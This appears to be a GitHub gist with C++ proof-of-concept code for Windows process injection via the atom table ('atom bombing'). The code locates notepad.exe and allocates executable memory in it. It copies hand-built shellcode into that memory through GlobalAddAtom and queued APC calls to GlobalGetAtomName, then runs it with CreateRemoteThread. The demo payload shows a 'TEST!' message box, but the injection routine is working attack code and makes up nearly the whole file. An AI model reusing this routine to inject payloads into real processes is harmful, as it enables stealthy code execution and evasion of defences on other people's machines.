Created
May 7, 2020 01:56
-
-
Save 3ts75/3cab225882d3cd48c83781e685fccfae to your computer and use it in GitHub Desktop.
Process Injection via Atom Table
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <vector> | |
using namespace std; | |
#include <string.h> | |
#include <Windows.h> | |
#include <TlHelp32.h> | |
using _NtQueueApcThread = NTSTATUS(NTAPI*)( | |
_In_ HANDLE ThreadHandle, | |
_In_ PVOID ApcRoutine, | |
_In_ PVOID ApcRoutineContext OPTIONAL, | |
_In_ PVOID ApcStatusBlock OPTIONAL, | |
_In_ PVOID ApcReserved OPTIONAL | |
); | |
DWORD name2pid(LPCWSTR ProcessName) { | |
DWORD dwProcessId = 0; | |
LPPROCESSENTRY32 lppe = new PROCESSENTRY32(); | |
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | |
lppe->dwSize = sizeof(PROCESSENTRY32); | |
if (Process32First(hSnapshot, lppe)) { | |
do { | |
if (lstrcmp(lppe->szExeFile, ProcessName) == 0) { | |
dwProcessId = lppe->th32ProcessID; | |
break; | |
} | |
} while (Process32Next(hSnapshot, lppe)); | |
} | |
CloseHandle(hSnapshot); | |
return dwProcessId; | |
} | |
VOID pid2tid(DWORD dwProcessId, std::vector<DWORD>& vecdwThreadId) { | |
LPTHREADENTRY32 lpte = new THREADENTRY32(); | |
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); | |
lpte->dwSize = sizeof(THREADENTRY32); | |
if (Thread32First(hSnapshot, lpte)) { | |
do { | |
if (lpte->th32OwnerProcessID == dwProcessId) | |
vecdwThreadId.push_back(lpte->th32ThreadID); | |
} while (Thread32Next(hSnapshot, lpte)); | |
} | |
CloseHandle(hSnapshot); | |
} | |
ULONGLONG MessageBoxAddress = NULL; | |
ULONGLONG RtlExitUserThreadAddress = NULL; | |
VOID FindFunctionAddresses() { | |
HMODULE hUser32 = LoadLibraryA("user32"); | |
MessageBoxAddress = (ULONGLONG)GetProcAddress(hUser32, "MessageBoxA"); | |
RtlExitUserThreadAddress = (ULONGLONG)GetProcAddress(GetModuleHandleA("ntdll"), "RtlExitUserThread"); | |
} | |
VOID ApcWriteProcessMemoryString(vector<HANDLE>& vechThread, PVOID BaseAddress, PBYTE Buffer) { | |
_NtQueueApcThread NtQueueApcThread = (_NtQueueApcThread)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread"); | |
ATOM Atom = 0; | |
if (Atom = GlobalAddAtom((LPCWSTR)Buffer)) { | |
cout << "Find: " << Buffer << endl; | |
} | |
else { | |
cout << "Unfind" << endl; | |
return; | |
} | |
for (HANDLE hThread : vechThread) { | |
SuspendThread(hThread); | |
NtQueueApcThread(hThread, GlobalGetAtomName, (PVOID)Atom, BaseAddress, (PVOID)0xff); | |
ResumeThread(hThread); | |
} | |
Sleep(5000); | |
if (Atom) | |
GlobalDeleteAtom(Atom); | |
} | |
VOID ApcWriteProcessMemoryNULL(vector<HANDLE>& vechThread, PVOID BaseAddress, ATOM Atom) { | |
_NtQueueApcThread NtQueueApcThread = (_NtQueueApcThread)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread"); | |
for (HANDLE hThread : vechThread) { | |
SuspendThread(hThread); | |
NtQueueApcThread(hThread, GlobalGetAtomName, (PVOID)Atom, BaseAddress, (PVOID)0xff); | |
ResumeThread(hThread); | |
} | |
Sleep(5000); | |
} | |
VOID ApcWriteProcessMemory(vector<DWORD>& vecdwThreadId, PVOID BaseAddress, BYTE* Buffer, DWORD Size) { | |
BYTE Zero[] = ""; | |
ATOM ZeroAtom = 0; | |
ZeroAtom = GlobalAddAtom((LPCWSTR)Zero); | |
if (ZeroAtom == NULL) { | |
cout << "Error" << endl; | |
return; | |
} | |
vector<HANDLE> vechThread; | |
for (DWORD dwThreadId : vecdwThreadId) | |
vechThread.push_back(OpenThread(THREAD_ALL_ACCESS, FALSE, dwThreadId)); | |
BYTE WriteBuffer[255]; | |
SIZE_T BytesWritten = 0; | |
PVOID BeforeAddress = Buffer; | |
PVOID WriteAddress = Buffer; | |
SIZE_T WriteSize = 0; | |
PVOID EndAddress = Buffer + Size - 1; | |
SIZE_T ZeroCount = 0; | |
BOOL Flag = TRUE; | |
do { | |
ZeroMemory(WriteBuffer, sizeof(WriteBuffer)); | |
WriteAddress = (PVOID)strchr((const char*)BeforeAddress, '\x00'); | |
if (BeforeAddress != WriteAddress) { | |
WriteSize = (DWORD64)WriteAddress - (DWORD64)BeforeAddress; | |
cout << WriteSize << endl; | |
memcpy_s(WriteBuffer, sizeof(WriteBuffer), BeforeAddress, WriteSize); | |
ApcWriteProcessMemoryString(vechThread, BaseAddress, WriteBuffer); | |
BaseAddress = (PVOID)((DWORD64)BaseAddress + WriteSize+0x1); | |
} | |
else | |
{ | |
ApcWriteProcessMemoryNULL(vechThread, BaseAddress, ZeroAtom); | |
BaseAddress = (PVOID)((DWORD64)BaseAddress + 0x1); | |
} | |
BeforeAddress = (PVOID)((DWORD64)WriteAddress + 0x1); | |
ZeroCount++; | |
} while (WriteAddress < EndAddress); | |
cout << ZeroCount << endl; | |
if (vechThread.size()) | |
for (HANDLE hThread : vechThread) | |
CloseHandle(hThread); | |
if (ZeroAtom) | |
GlobalDeleteAtom(ZeroAtom); | |
} | |
int main() { | |
_NtQueueApcThread NtQueueApcThread = (_NtQueueApcThread)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueueApcThread"); | |
if (LoadLibraryA("user32") == NULL) { | |
cout << "Unloaded" << endl; | |
} | |
DWORD pid = name2pid(TEXT("notepad.exe")); | |
if (pid == 0) | |
return 0; | |
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); | |
LPVOID RemoteShellcode = VirtualAllocEx(hProcess, NULL, sizeof(2), MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
cout << "Allocated memory: " << RemoteShellcode << endl; | |
vector<DWORD> vecdwThreadId; | |
pid2tid(pid, vecdwThreadId); | |
BYTE Shellcode[] = { | |
0x48, 0x83, 0xec, 0x38, | |
0x48, 0x83, 0xe4, 0xf0, | |
0x48, 0xc7, 0xc1, 0x00, 0x00, 0x00,0x00, | |
0x48, 0xba, 0x12, 0x12, 0x12, 0x12, 0x12, | |
0x12, 0x12, 0x12, | |
0x48, 0xba, 0x23, 0x23, 0x23, 0x23, 0x23, | |
0x23, 0x23, 0x23, | |
0x45, 0x33, 0xc9, | |
0x48, 0xb8, 0x34, 0x34, 0x34, 0x34, 0x34, | |
0x34, 0x34, 0x34, | |
0xff, 0xd0, | |
0x48, 0xc7, 0xc1, 0x00, 0x00, 0x00, 0x00, | |
0x48, 0xb8, 0x45, 0x45, 0x45, 0x45, 0x45, | |
0x45, 0x45, 0x45, | |
0xff, 0xd0, | |
'T', 'E', 'S', 'T', '!', 0x00, | |
}; | |
unsigned char atom_test_code[] = { 0x7d, 0x8d, 0xc2, 0x01 }; | |
FindFunctionAddresses(); | |
*((ULONGLONG*)&Shellcode[0x11]) = (ULONGLONG)RemoteShellcode + 0x45; | |
*((ULONGLONG*)&Shellcode[0x1b]) = (ULONGLONG)RemoteShellcode + 0x45; | |
*((ULONGLONG*)&Shellcode[0x28]) = MessageBoxAddress; | |
*((ULONGLONG*)&Shellcode[0x3b]) = RtlExitUserThreadAddress; | |
ApcWriteProcessMemory(vecdwThreadId, RemoteShellcode, Shellcode, sizeof(Shellcode)); | |
CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)RemoteShellcode, NULL, NULL, NULL); | |
CloseHandle(hProcess); | |
cout << GetLastError() << endl; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment